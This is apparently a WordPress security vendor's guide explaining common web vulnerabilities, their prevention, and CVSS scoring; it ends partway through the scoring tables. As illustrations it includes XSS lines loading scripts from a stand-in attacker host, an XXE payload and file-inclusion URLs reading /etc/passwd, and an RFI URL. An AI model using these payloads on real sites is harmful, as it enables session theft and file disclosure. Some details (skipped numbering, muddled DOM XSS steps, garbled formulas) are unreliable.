WordPress Vulnerabilities Explained

Unfortunately, WordPress vulnerabilities exist. WordPress vulnerabilities can exist in your plugins, your themes, and even WordPress core. And since WordPress now powers nearly 40% of all websites, the task of understanding vulnerabilities is even more important. Simply put: you have to vigilant about your website’s security.

If you aren’t a WordPress security expert, understanding all the various WordPress vulnerabilities can be daunting. It may also be overwhelming to try to understand the different levels of severity of a vulnerability, along with the risks of the WordPress vulnerability.

This guide will define the 21 most common WordPress vulnerabilities, cover how to score a WordPress vulnerability’s severity, give examples of how a hacker can exploit the vulnerability, and show how these vulnerabilities can be prevented. Let’s dive in.

WordPress Vulnerabilities Explained

What is a WordPress Vulnerability?

A WordPress vulnerability is a weakness or flaw in a theme, plugin, or WordPress core that can be exploited by a hacker. In other words, WordPress vulnerabilities create a point of entry that a hacker can use to pull off malicious activity.

Keep in mind that website hacking is almost all automated. Because of this, hackers can easily break into a large number of websites in virtually no time at all. Hackers use special tools that scan the internet, looking for known vulnerabilities.

Hackers like easy targets, and having a website that is running software with known vulnerabilities is like handing a hacker the step by step instructions to break into your WordPress website, server, computer, or any other internet-connected device.

Our monthly WordPress vulnerability roundup reports cover all of the publicly disclosed WordPress core, WordPress plugin, and theme vulnerabilities. In these roundups, we share the name of the vulnerable plugin or theme, the affected versions, and the vulnerability type.

What is Zero-Day Vulnerability?

A zero-day vulnerability is a vulnerability that has been publicly disclosed before the developer released a patch for the vulnerability.

When it comes to WordPress vulnerabilities, it’s important to understand the definition of a zero-day vulnerability. Because the vulnerability was disclosed to the public, the developer has zero-days to patch the vulnerability. And this can have big implications for your plugins and themes.

Typically, a security researcher will discover a vulnerability and privately disclose the vulnerability to the company’s developers that own the software. The security researcher and the developer agree that the full details will be published once a patch has been made available. There may be a slight delay in disclosing the vulnerability after the patch is released to give more people time to update for major security vulnerabilities.

However, if a developer doesn’t respond to the security researcher or fails to provide a patch for the vulnerability, then the researcher may publicly disclose the vulnerability to put pressure on the developer to issue a patch.

Publicly disclosing a vulnerability and seemingly introducing a zero-day may seem counterproductive. But, it is the only leverage that a researcher has to pressure the developer to patch the vulnerability.

Google’s Project Zero has similar guidelines when it comes to disclosing vulnerabilities. They publish the full details of the vulnerability after 90 days. Whether or not the vulnerability has been patched.

The vulnerability is there for anyone to find. If a hacker finds the vulnerability before the developer releases a patch it becomes an end-user worst nightmare…. An actively exploited zero-day.

What is an Actively Exploited Zero-Day Vulnerability?

An Actively Exploited Zero-Day Vulnerability is exactly what it sounds like. It is an unpatched vulnerability that hackers are targeting, attacking, and actively exploiting.

At the end of 2018, hackers were actively exploiting a serious WordPress vulnerability in the WP GDPR Compliance plugin. The exploit allowed unauthorized users—more on this in the next section—to modify the WP user registration settings and change the default new user role from a subscriber to an administrator.

These hackers found this vulnerability before the WP GDPR Compliance plugin and security researchers. So, any website that had the plugin installed was an easy and guaranteed mark for cybercriminals.

How to Protect Yourself From a Zero-Day Vulnerability

The best way to protect your website from a Zero-Day vulnerability is to deactivate and remove the software until the vulnerability is patched. Thankfully, the WP GDPR Compliance plugin developers acted fast and released a patch for the vulnerability the day after it was publicly disclosed.

Unpatched vulnerabilities make your website an easy target for hackers.

Unauthenticated vs. Authenticated WordPress Vulnerabilities

There are two more terms you need to be familiar with when talking about WordPress vulnerabilities.

Unauthenticated – An unauthenticated WordPress vulnerability means anyone can exploit the vulnerability.
Authenticated – An authenticated WordPress vulnerability means it requires a logged-in user to exploit.

A vulnerability that requires an authenticated user is a lot harder for a hacker to exploit, especially if it requires admin-level privileges. And, if a hacker already has their hands on a set of admin credentials, they really don’t need to exploit a vulnerability to wreak havoc.

There is one caveat. Some authenticated vulnerabilities only require subscriber level capabilities to exploit. If your website allows anyone to register, there really isn’t much difference between this and an unauthenticated vulnerability.

21 Common WordPress Vulnerabilities Explained

When it comes to WordPress vulnerabilities, there are 21 common types of vulnerabilities. Let’s cover each of these WordPress vulnerability types.

1. Authentication Bypass

An Authentication Bypass vulnerability allows an attacker to skip authentication requirements and perform tasks normally reserved for authenticated users.

Authentication is the process of verifying a user’s identity. WordPress requires users to enter a username and password to verify their identity.

Authentication Bypass Example

Applications verify authentication based on a fixed set of parameters. An attacker could modify these parameters to gain access to webpages that typically require authentication.

A very basic example of something like this is an authentication parameter in the URL.

https:/my-website/some-plugint?param=authenticated&param=no

The URL above has an authentication parameter that has a value of no. So when we visit this page, we will be presented with a message informing us that we aren’t authorized to view the information on this page.

However, if the authentication check was poorly coded, an attacker could modify the authentication parameter to gain access to the private page.

https:/my-website/some-plugint?param=authenticated&param=yes

In this example, a hacker could change the authentication value in the URL to yes to bypass the authentication requirement to view the page.

How to Prevent Authentication Bypass Prevention

You can help protect your website from Broken Authentication vulnerabilities by using two-factor authentication.

2. Backdoor Vulnerability

A Backdoor vulnerability allows both authorized and unauthorized users to bypass normal security measures and gain high-level access to a computer, server, website, or application.

Backdoor Example

A developer creates a backdoor so they can quickly switch between coding and testing the code as an admin user. Unfortunately, the developer forgets to remove the backdoor before the software is released to the public.

If a hacker finds the backdoor, they can exploit the entry point to gain admin access to the software. Now that the hacker has admin access, they can do all sorts of malicious things like injecting malware or stealing sensitive data.

How to Prevent a Backdoor

A lot of backdoors can be boiled down to one issue, security misconfiguration. Security misconfiguration issues can be mitigated by removing any unused features in the code, keeping all libraries up to date, and making error messages more general.

3. PHP Object-Injection Vulnerability

A PHP Object-Injection vulnerability occurs with a user submits an input that isn’t sanitized (meaning illegal characters aren’t removed) before being passed to the unserialized() PHP function.

PHP Object-Injection Example

Here is a real-world example of a PHP Object-Injection vulnerability in the Sample Ads Manager WordPress plugin that was originally reported by sumofpwn.

The issue is due to two unsafe calls to unserialize() in the plugins sam-ajax-loader.php file. The input is taken directly from the POST request as can be seen in the code below.

if ( in_array( $action, $allowed_actions ) ) {
	switch ( $action ) {
		case 'sam_ajax_load_place':
			echo json_encode( array( 'success' => false, 'error' => 'Deprecated...' ) );
			break;
	
		case 'sam_ajax_load_ads':
			if ( ( isset( $_POST['ads'] ) && is_array( $_POST['ads'] ) ) && isset( $_POST['wc'] ) ) {
				$clauses = **unserialize( base64_decode( $_POST['wc'] ) )**;

This issue could result in an attacker inputting and executing malicious code.

How to Prevent PHP Object-Injection

Do not use unserialize() function with user-supplied input, use JSON functions instead.

4. Cross-Site Scripting Vulnerability

An XSS or Cross-Site Scripting vulnerability occurs when a web application allows users to add custom code in the URL path. An attacker can exploit the vulnerability to run malicious code in the victim’s web browser, create a redirect to a malicious website, or hijack a user session.

There are three main types of XSS, reflected. stored, and DOM-Based

5. Reflected Cross-Site Scripting Vulnerability

A Reflected XSS or Reflected Cross-Site Scripting occurs when a malicious script is sent in a client request–a request made by you in a browser–to a server and is reflected back by the server and executed by your browser.

Reflected Cross-Site Scripting Example

Let’s say yourfavesite.com requires you to be logged in to view some of the website’s content. And let’s say this website fails to encode user inputs properly.

An attacker could take advantage of this vulnerability by creating a malicious link and shares it with users of yourfavesite.com in emails and social media posts.

The attacker uses a URL shortening tool to make the malicious link look non-threatening and very clickable, yourfavesite.com/cool-stuff. But, when you click the shortened link, the full link is executed by your browser yourfavesite.com/cool-stuff?q=cool-stuff<script&src=”http://bad-guys.com/passwordstealingcode.js.

After clicking the link, you will be taken to yourfavesite.com, and the malicious script will be reflected back to your browser, allowing the attacker to hijack your session cookies and yourfavesite.com account.

How to Prevent Reflected Cross-Site Scripting

Rule #5 on the OWASP cross-scripting prevention cheat sheet is URL encode before inserting untrusted data into HTML URL parameter values. This rule can help prevent creating a reflected XSS vulnerability when adding untrusted data into HTTP GET parameter value.

<a href="http://www.yourfavesite.com?test=...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a >

6. Stored Cross-Site Scripting Vulnerability

A Stored XSS or Stored Cross-Site Scripting vulnerability allows hackers to inject malicious code into and store it on a web application’s server.

Stored Cross-Site Scripting Example

An attacker discovers that yourfavesite.com allows visitors to embed HTML tags in the site’s comment section. So the attacker creates a new comment:

Great article! Check out this other related great <script src=”http://bad-guys.com/passwordstealingcode.js> article. </script>

Note: A reflected XSS vulnerability would require a visitor to click the malicious code link to execute. A stored XSS attack only requires for the page that contains the comment to be visited. The malicious code runs with every page load.

Now that our bad guy has added the comment, every future visitor of this page will be exposed to their malicious script. The script is hosted on the bad guy’s website and has the ability to hijack visitors session cookies and yourfavesite.com accounts.

How to Prevent Stored Cross-Site Scripting

Rule #1 on the OWASP cross-scripting prevention cheat sheet is HTML encode before adding untrusted data into HTML elements.

<body>
...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...
</body>

<div>
...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...
</div>

Encoding the following characters to prevent switching into any execution context, such as script, style, or event handlers. Using hex entities is recommended in the spec.

 & --> &amp;
 < --> &lt;
 > --> &gt;
 " --> &quot;
 ' --> '

7. Document Object Model-Based Cross-Site Scripting Vulnerability

A DOM-based XSS or Document Object Model-Based Cross-Site Scripting vulnerability occurs when a website’s client-side script writes user-provided data to the Document Object Model (DOM). The website then reads the user-dated from the DOM and outputs it to the visitor’s web-browser.

If the user-provided data isn’t properly handled, an attacker could inject malicious code that would be executed when the website reads the code from the DOM.

Note: Reflected and Stored XSS are server-side issues while DOM-based XSS is a client (browser) issue.

Document Object Model-Based Cross-Site Scripting Example

A common way of explaining a DOM XSS attack a custom welcome page. After creating an account, let’s say that yourfavesite.com you are redirected to a welcome page customized to welcome you by name using the code below. And the user name is encoded into the URL.

<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+8;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to yourfavesite.com!
…
</HTML>

So, we would have a URL of yourfavesite.com/account?name=yourname.

An attacker could accomplish a DOM-based XSS attack by sending the following URL to the new user:

http://yourfavesite.com/account?name=<script>alert(document.cookie)</script>

When the new user clicks the link, their browser sends a request for:

/account?name=<script>alert(document.cookie)</script>

to bad-guys.com. The website responds with the page containing the above Javascript code.

The new user’s browser creates a DOM object for the page, in which the document.location object contains the string:

http://www.bad-guys.com/account?name=<script>alert(document.cookie)</script>

The original code in the page doesn’t expect the default parameter to contain HTML markup, echoing the markup onto the page. Then the new user’s browser will render the page and executes the attacker’s script:

alert(document.cookie)

How to Prevent DOM-Based Cross-Site Scripting

Rule #1 on the OWASP Dom-based cross-site scripting prevention cheat sheet is to HTML escape. Then, JS escape before adding untrusted data into the HTML subcontext within the execution context.

Example Dangerous HTML Methods:

Attributes

 element.innerHTML = "<HTML> Tags and markup";
 element.outerHTML = "<HTML> Tags and markup";

Methods

 document.write("<HTML> Tags and markup");
 document.writeln("<HTML> Tags and markup");

To make dynamic updates to HTML in the DOM safe, OWASP recommends:

HTML encoding, and then
JavaScript encoding all untrusted input, as shown in these examples:

 element.innerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>";
 element.outerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>";

 document.write("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>");
 document.writeln("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>");

8. Cross-Site Request Forgery Vulnerability

A CSRF or Cross-Site Request Forgery vulnerability occurs when a cyber-criminal tricks a user into performing unintended actions. The attacker forges the user’s request to an application.

Cross-Site Request Forgery Example

In our January 2020 WordPress Vulnerability Roundup, we reported on the Cross-Site Request Forgery vulnerability found in the Code Snippets plugin. (The plugin was quickly patched in version 2.14.0)

The plugin’s lack of CRSF protection allowed anyone to forge a request on behalf of an administrator and inject executable code on a vulnerable site. An attacker could have taken advantage of this vulnerability to execute malicious code and even perform a complete site takeover.

How to Prevent Cross-Site Request Forgery

Most coding frameworks have built-in synchronized token defenses to protect against CSRF, and they should be used.

There are also external components like the CSRF Protector Project that can be used to protect PHP and Apache CSRF vulnerabilities.

9. Server-Side Request Forgery Vulnerability

A SSRF or Server-Site Request Forger vulnerability allows an attacker to trick a server-side application to make HTTP requests to an arbitrary domain of the their choosing.

Server-Side Request Forgery Example

An SSRF vulnerability could be exploited to pull off a Reflected Cross-Site Scripting attack. An attacker could fetch a malicious script from bad-guys.com and serve it to all of a website’s visitors.

How to Prevent Server-Side Request Forgery

The first step to mitigate SSRF vulnerabilities is to validate inputs. For example, if your server relies on user-supplied URLs to fetch different files, you should validate the URL and only allow target hosts that you trust.

For more information on SSRF prevention, check out the OWASP cheat sheet.

10. Privilege Escalation Vulnerability

A Privilege Escalation vulnerability allows an attacker to execute tasks that normally require higher-level privileges.

Privilege Escalation Example

In our November 2020 WordPress Vulnerability Roundup, we reported on a privilege escalation vulnerability found in the Ultimate Member plugin (The vulnerability was patched in version 2.1.12).

An attacker could supply an array parameter for the wp_capabilities user meta which defines a user’s role. During the registration process, submitted registration details were passed to the update_profile function, and any respective metadata that was submitted, regardless of what was submitted, would be updated for that newly registered user.

The vulnerability essentially allowed a new user to request administrator when registering.

How to Prevent Privilege Escalation

iThemes Security Pro can help protect your website against Broken Access Control by restricting admin access to a list of Trusted Devices.

11. Remote Code Execution Vulnerability

An RCE or Remote Code Execution vulnerability allows an attacker to access and make changes to and even take over a computer or server.

Remote Code Execution Example

In 2018, Microsoft disclosed a remote code execution vulnerability found in Excel.

An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user. If the current user is logged on with administrative user rights, an attacker could take control of the affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.

How to Prevent Remote Code Execution

The easiest way to mitigate against an RCE vulnerability is to validate user input by filtering and removing any undesired characters.

Our parent company Liquid Web, has a great article on preventing remote code execution.

14. File Inclusion Vulnerability

A File Inclusion vulnerability occurs when a web application allows the user to submit input into files or upload files to the server.

There are two types of file inclusion vulnerabilities, Local and Remote.

15. Local File Inclusion Vulnerability

An LFI or Local File Inclusion vulnerability allows an attacker to read and sometimes execute files on a website’s server.

Local File Inclusion Example

Let’s take another look at yourfavesite.com, where paths passed to include statements are not properly sanitized. For example, let’s take a look at the URL below.

 yourfavesite.com/module.php?file=example.file

It is possible for an attacker to change the URL parameter to access an arbitrary file on the server.

 yourfavesite.com/module.php?file=etc/passwd

Changing the value of the file in the URL could allow an attacker to view the contents of the psswd file.

How to Prevent Local File Inclusion

Create an allowed list of files the page may include, then use an identifier to access the selected file. And then block any request containing an invalid identifier.

16. Remote File Inclusion Vulnerability

An RFI or Remote File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application.

Remote File Inclusion Example

The WordPress Plugin WP with Spritz was closed on the WordPress.org repository because it had an RFI vulnerability.

Below is the source code of the vulnerability:

if(isset($_GET['url'])){
$content=file_get_contents($_GET['url']);

The code can be exploited by changing the value of the content.filter.php?url= value. For example:

yoursite.com//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://bad-guys.com/exec

Remote File Inclusion Prevention

Create an allowed list of files the page may include, then use an identifier to access the selected file. And then block any request containing an invalid identifier.

17. Directory Traversal Vulnerability

A Directory Traversal or File Traversal vulnerability allows an attacker to read arbitrary files on the server that is running an application.

Directory Traversal Example

WordPress versions 5.7 – 5.03 were vulnerable to directory traversal attacks because they failed to verify user input data properly. An attacker with access to an account with at least author privileges could exploit the directory traversal vulnerability and execute malicious PHP code on the underlying server, leading to a full remote takeover.

How to Prevent Directory Traversal

Developers can use indexes rather than actual portions of file names when templating or using language files.

18. Malicious Redirect Vulnerability

A Malicious Redirect vulnerability allows an attacker to inject code to redirect site visitors to another website.

Malicious Redirect Example

Let’s say you are looking for a blue sweater using the search tool on an online boutique.

Unfortunately, the boutique’s server fails to encode user inputs properly, and an attacker was able to inject a malicious redirect script into your search query.

So, when you type blue sweater into the boutique’s search field and hit enter, you end up on the attacker’s webpage instead of the boutique’s page with sweaters matching the description of your search.

How to Prevent Malicious Redirect

You can protect against malicious redirects by sanitizing user inputs, validating URLs, and get visitor confirmation for all offsite redirects.

19. XML External Entity Vulnerability

An XXE or XML External Entity vulnerability allows an attacker to trick an XML parser into passing off sensitive information to an external entity under their control.

XML External Entity Example

An attacker could exploit an XXE vulnerability to gain access to sensitive files like the etc/passwd, which stores user account information.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

How to Prevent XML External Entity

The best way to prevent XXE is to use less complex data formats such as JSON and avoiding serialization of sensitive data.

20. Denial of Service Attack

A DoS or a Denial-of-Service attack is a deliberate attempt to make your website or application unavailable to users by flooding it with network traffic.

In a DDoS Distributed Denial of Service attack, an attacker uses multiple sources to flood a network with traffic. An attacker will hijack groups of malware-infected computers, routers, and IoT devices, to increase traffic flow.

Denial of Service Attack Example

The largest-ever DDoS (Distributed Denial-of-Service) attack was levied against AWS in February of this year. Amazon reported that AWS Shield, their managed threat protection service, observed and mitigated this huge DDoS attack. The attack lasted 3 days and peaked at 2.3 Terabytes per second.

How to Prevent Denial of Service Attack

There are 2 main ways to mitigate a DoS attack.

Purchase more hosting than you need. Having extra resources at your disposal can help you weather the increased demand caused by a DoS attack.
Use a server-level firewall like Cloudflare. A firewall can detect an unusual spike in traffic and prevent your website from becoming overloaded.

21. Keystroke Logging

Keystroke Logging, also known as keylogging or keyboard capturing, occurs when a hacker covertly monitors and records website visitors’ keystrokes.

Example of Keystroke Logging

In 2017, a hacker successfully installed malicious JavaScript on the server’s of smartphone maker OnePlus.

Using the malicious code, attackers monitored and logged OnePlus customers’ keystrokes as they entered their credit card details. The hackers logged and collected the keystrokes of 40,000 customers before OnePlus detected and patched the hack.

How to Prevent Keystroke logging

Update everything! Typically, an attacker will need to exploit another existing vulnerability to inject a keylogger on a computer or server. Keeping everything updated with the latest security patches will prevent giving hackers an easy way to install a keylogger on your website or computer.

Software vulnerabilities are the only thing that hackers and cybercriminals try to exploit. Hackers also target and exploit humans. Let’s take a look at a couple of ways we can be turned into vulnerabilities.

1. Phishing

Phishing is a cyber-attack method using email, social media, text messages, and phone calls to trick the victim into giving up personal information. The attacker will then use the information to access personal accounts or commit identity fraud.

How to Spot a Phishing Email

As we learned earlier in this post, some vulnerabilities require some type of user interaction to exploit. One way a hacker tricks people into participating in their nefarious endeavors is by sending phishing emails.

Learning how to spot a phishing email can save you from inadvertently playing into the plans of cybercriminals.

4 tips to spot a phishing email:

Look at the from email address – If you receive an email from a business, the portion of the sender’s email address after the “@” should match the business name.
If an email represents a company or government entity but is using a public email address like “@gmail,” is a sign of a phishing email.

Keep an eye out for subtle misspellings of the domain name. For example, let’s look at this email address [email protected]. We can see that Netflix has an extra “x” at the end. The misspelling is a clear sign that the email was sent by a scammer and should be deleted immediately.
Look for grammatical errors – An email full of grammatical mistakes is a sign of a malicious email. All of the words may be spelled correctly, but sentences are missing words that would make the sentence coherent. For example, “Your account is been hacked. Update password to account security”.
Everyone makes mistakes, and not every email with a typo or two is an attempt to scam you. However, multiple grammatical errors warrant a closer look before responding.
Suspicious attachments or links – It is worth pausing for a moment before interacting with any attachments or links included in an email.
If you don’t recognize the sender of an email, you shouldn’t download any attachments included in the email as it could contain malware and infect your computer. If the email claims to be from a business, you can Google their contact information to verify the email was sent from them before opening any attachments.

If an email contains a link, you can hover your mouse over the link to verify the URL is sending you where it should be.
Watch out for urgent requests – A common trick used by scammers is to create a sense of urgency. A malicious email might manufacture a scenario that needs immediate action. The more time you have time to think, the greater the chance you will identify the request is coming from a scammer.
You may receive an email from your “boss” asking you to pay a vendor ASAP or from your bank informing you that your account has been hacked and immediate action is required.

2. Weak Credentials

Users have the potential to be the biggest WordPress security vulnerability.

In a list compiled by Splash Data, the most common password included in all data dumps was 123456. A data dump is a hacked database filled with user passwords dumped somewhere on the internet. Can you imagine how many people on your website use a weak password if 123456 is the most common password in data dumps?

Even though 91% of people know reusing passwords is poor practice, 59% of people still reuse their passwords everywhere! Many of these people are still using passwords that they know have appeared in a database dump.

Hackers use a form of brute force attacked called a dictionary attack. A dictionary attack is a method of breaking into a WordPress website with commonly used passwords that have appeared in database dumps. The “Collection #1? Data Breach that was hosted on MEGA hosted included 1,160,253,228 unique combinations of email addresses and passwords. That is billion with a b. That kind of score will really help a dictionary attack narrow the most commonly used WordPress passwords.

Weak credentials turn your WordPress login into an easy vulnerability for hackers to exploit.

How to Prevent Weak Credentials

The best way to prevent weak credentials is by creating a strong password policy and using two-factor authentication.

The iThemes Security Pro Password Requirements feature allows force members of a user group to use a strong password, choose a time of password expiration, refuse compromised passwords, and force a site-wide passwords change to make everyone comply with your new strong password policy.

Two-factor authentication is a process of verifying a person’s identity by requiring two separate methods of verification. Google shared on its blog that using two-factor authentication can stop 100% of automated bot attacks.

The iThemes Security Pro Two-Factor Authentication feature provides a ton of flexibility when implementing 2fa on your website. You can enable two-factor for all or some of your users, and you can force your high-level users to use 2fa on each login.

How to Protect Your WordPress Website from WordPress Vulnerabilities

Let’s take a look at some actionable steps you can take to protect your website from WordPress vulnerabilities.

1. Keep Your WordPress Software up to Date

Having a vulnerable plugin or theme for which a patch is available but not applied is the number one culprit of hacked WordPress websites. This means that most vulnerabilities are exploited AFTER a patch for the vulnerability was released.

The highly reported Equifax breach could have been prevented if they’d updated their software. For the Equifax breach, there was simply no excuse.

Something as simple as updating your software can protect you. So don’t ignore those WordPress updates—updates are one of the most basic components of WordPress and all web security.

The iThemes Security Pro Version Management feature makes it to customize and automate your WordPress updates.

2. Keep Track of WordPress Vulnerabilities

Keeping your plugins and themes updated won’t protect you from every vulnerability. Some plugins and themes have been abandoned by the developers that created them.

Unfortunately, if an abandoned plugin or theme has a vulnerability, it will never get a patch. Hackers will target websites that use these now permanently vulnerable plugins.

Keeping track of vulnerabilities is the difference between having a secure website versus one that hackers will easily exploit.

If you have an abandoned plugin with a known vulnerability on your website, you are giving hackers the blueprints they need to take over your website. That is why you must keep track of all the latest vulnerabilities.

It is hard to keep track of every disclosed WordPress vulnerability and compare that list to the versions of plugins and themes you have installed on your website. Keeping track of vulnerabilities is the difference between having a secure website versus one that hackers will easily exploit.

Good news for you! We keep track and share every disclosed vulnerability in our WordPress Vulnerability Roundups.

3. Scan Your Website For Vulnerabilities

A faster way is to protect your website from easy hacker exploits is to use automated scans to check your websites for known vulnerabilities.

The iThemes Security Pro Site Scanner is your way to automate vulnerability protection on all of your WordPress websites. The Site Scanner checks your site for known vulnerabilities and will automatically apply a patch if one is available.

The iThemes Security Pro Site checks for 3 types of vulnerabilities.

WordPress Vulnerabilities
Plugin Vulnerabilities
Theme Vulnerabilities

The iThemes Sync Pro Site Audit feature leverages the power of Google Lighthouse to protect your website. The Site Audit checks and flags pages that include front-end JavaScript libraries with known security vulnerabilities.

It is common practice for developers to use third-party code–like JS libraries–in their plugins and themes. Unfortunately, if the libraries aren’t properly maintained, they can create vulnerabilities that attackers can leverage to hack your website. Using Components with Known Vulnerabilities is on the OWASP Top 10 list.

The Site Audit saved my bacon! I created an Audit Schedule to have Sync Pro perform weekly automated audits and email me the audit reports. I keep everything updated, and that is why I was shocked when I saw in one of my website’s audits that I was using JavaScript libraries with known security vulnerabilities.

The report pointed me to an outdated version of jQuery in the website’s WordPress directory littered with known vulnerabilities! Lucky for me, I saw in my Sync Pro Site Audit that I was using JavaScript libraries with known security vulnerabilities and was able to resolve the issue before my website got hacked.

How to Measure a WordPress Vulnerability Risk

There are several types of WordPress vulnerabilities, all with varying degrees of risk. Luckily for us, the National Vulnerability Database–a project of the National Institute of Science and Technology–has a vulnerability scoring system calculator to determine the risk of a vulnerability.

This section of the WordPress vulnerability guide will cover the vulnerability scoring system’s metrics and severity levels. While this section is quite a bit more technical, some users may find it useful for deepening their understanding of how WordPress vulnerabilities and their severity are assessed.

Common WordPress Vulnerability Scoring System Metrics

The vulnerability scoring system’s equation uses three different sets of scores to determine the overall severity score.

1. Base Metrics

The Base metric group represents the characteristics of a vulnerability that are constant across user environments.

The Base metrics are divided into two groups, Exploitability, and Impact.

1.1. Exploitability Metrics

The exploitability score is based on how difficult it is for an attacker to take advantage of the vulnerability. The score is calculated using 5 different variables.

1.1.1. Attack Vector (AV)

The attack vector score is based on the method in which the vulnerability is exploited. The score will be higher the more remote an attacker can be to exploit the vulnerability.

The idea is that the number of potential attackers will be much greater if the vulnerability can be exploited via a network as compared to a vulnerability that requires physical access to a device exploit.

The more potential attackers there are, the higher the risk of exploitation is, and therefore, the Attack Vector score given to the vulnerability will be higher.

Access Required	Description
Network (N)	A vulnerability exploitable with Network access means the vulnerable component is remotely exploitable.
Adjacent Network (AV:A)	A vulnerability exploitable with Adjacent Network access means the vulnerable component is bound to the network stack. However, the attack is limited to the same shared physical or logical network.
Local (AV:L)	A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack. In some cases, the attacker may be logged in locally to exploit the vulnerability or may rely on User Interaction to execute a malicious file.
Physical (AV:P)	A vulnerability exploitable with Physical access requires the attacker to physically touch or manipulate the vulnerable component, such as attaching a peripheral device to a system.

1.1.2. Attack Complexity (AC)

The complexity value is based on the conditions required to exploit the vulnerability. Some conditions may require collecting more information about the target, the presence of certain system configuration settings, or computational exceptions.

The attack complexity score will be higher the lower the complexity required to exploit the vulnerability.

Exploit Condition Complexity	Descriptions
Low (L)	Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
High (H)	A successful attack depends on conditions beyond the attacker’s control. A successful attack cannot be accomplished at will but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

1.1.3. Privileges Required (PR)

The privileges required score is calculated based on the privileges an attacker must obtain before exploiting a vulnerability. We will dive into this a little more in the Authenticated vs. Unauthenticated section.

The score will be highest if no privileges are required.

Privilege Level Required	Description
None (N)	The attacker is unauthorized before the attack and therefore does not require any access to settings or files to carry out an attack.
Low (L)	The attacker is authorized with privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.
High (H)	The attacker is authorized with (i.e., requires) privileges that provide significant (e.g., administrative) control over the vulnerable component that could affect component-wide settings and files.

1.1.4. User Interaction (UI)

The user interaction score is determined based on whether or not a vulnerability requires user interaction to exploit.

The score will be highest when no user interaction is required for an attacker to exploit the vulnerability.

User Interaction Requirement	Description
None (N)	The vulnerable system can be exploited without interaction from any user.
Required (R)	Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited, such as convincing a user to click a link in an email.

1.1.5. Scope

The scope score is based on a vulnerability in one software component to impact resources beyond its security scope.

The security scope encompasses other components that provide functionality solely to that component, even if these other components have their own security authority.

The score is highest when a scope change occurs.

Scope	Description
Unchanged (U)	An exploited vulnerability can only affect the resources managed by the same authority. In this case, the vulnerable component and the impacted component are the same.
Changed (U)	An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case, the vulnerable component and the impacted component are different.

1.2. Impact Metrics

The Impact metrics capture the direct effects of a successfully exploited vulnerability.

1.2.1. Confidential Impact (C)

This confidential impact score measures the impact on the confidentiality of the information managed by exploited software.

The score is highest when the loss to the impacted software is highest.

Confidentiality Impact	Description
High (H)	There is a total loss of confidentiality, resulting in all resources within the exploited software being disclosed to the attacker.
Low (L)	There is some loss of confidentiality. The attacker gained access to some restricted information.
None (N)	There is no loss of confidentiality within the exploited software.

1.2.2. Integrity (I)

This integrity score is based on the impact to integrity of a successfully exploited vulnerability.

The score is highest when the consequence of the impacted software is greatest.

Integrity Impact	Description
High (H)	There is a total loss of integrity or a complete loss of protection.
Low (L)	The data modification does not have a direct, serious impact on the impacted software.
None (N)	There is no loss of integrity within the impacted software.

1.2.3. Availability (A)

The availability score is based on the impact of the availability of the exploited software.

The Score is highest when the consequence of the impacted component is greatest.

Availability Impact	Description
High (H)	There is a total loss of availability, resulting in the attacker fully denying access to resources in the exploited software.
Low (L)	There is reduced performance or interruptions in resource availability.
None (N)	There is no impact on availability within the impacted software.

Base Score CVSS Score Calculation

The Base Score is a function of the Impact and Exploitability sub score equations. Where the Base score is defined as,

If (Impact sub score <= 0)     0 else,

Scope Unchanged4  Roundup(Minimum[(Impact+Exploitability),10])

Scope Changed Roundup(Minimum[1.08×(Impact+Exploitability),10])

and the Impact subscore (ISC) is defined as,

Scope Unchanged 6.42 × ISCBase

Scope Changed 7.52 × [ISCBase - 0.029] - 3.25 × [ISCBase - 0.02]15

Where,

ISCBase = 1 - [(1 - ImpactConf) × (1 - ImpactInteg) × (1 - ImpactAvail)]

And the Exploitability sub score is,

8.22 × AttackVector × AttackComplexity × PrivilegeRequired × UserInteraction

2. Temporal Score Metrics

The Temporal metrics measure the current state of exploit techniques, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Temporal metrics are expected to and will change over time.

2.1. Exploit Code Maturity (E)

The exploit code maturity is based on the likelihood of the vulnerability being attacked.

The easier a vulnerability can be exploited, the higher the vulnerability score.

Exploit Code Maturity Value	Description
Not Defined (X)	Assigning this value to the metric will not influence the score. It is a signal to a scoring equation to skip this metric.
High (H)	Functional autonomous code exists, or no exploit is required, and details are widely available.
Functional (F)	Functional exploit code is available. The code works in most situations where the vulnerability exists.
Proof-of-Concept (P)	Proof-of-concept exploit code is available, or an attack demonstration is not practical for most systems.
Unproven (U)	No exploit code is available, or an exploit is entirely theoretical.

2.2. Remediation Level (RL)

The Remediation Level of a vulnerability is an important factor for prioritization. Workarounds or hotfixes may offer interim remediation until an official patch or upgrade is issued.

The less official and permanent a fix, the higher the vulnerability score.

Remediation Level Value	Description
Not Defined (X)	A Remediation Value of Not Defined means there is insufficient information to choose one of the other remediation values. A value of Not Defined has no impact on the overall Temporal Score and has the same effect on scoring as Unavailable.
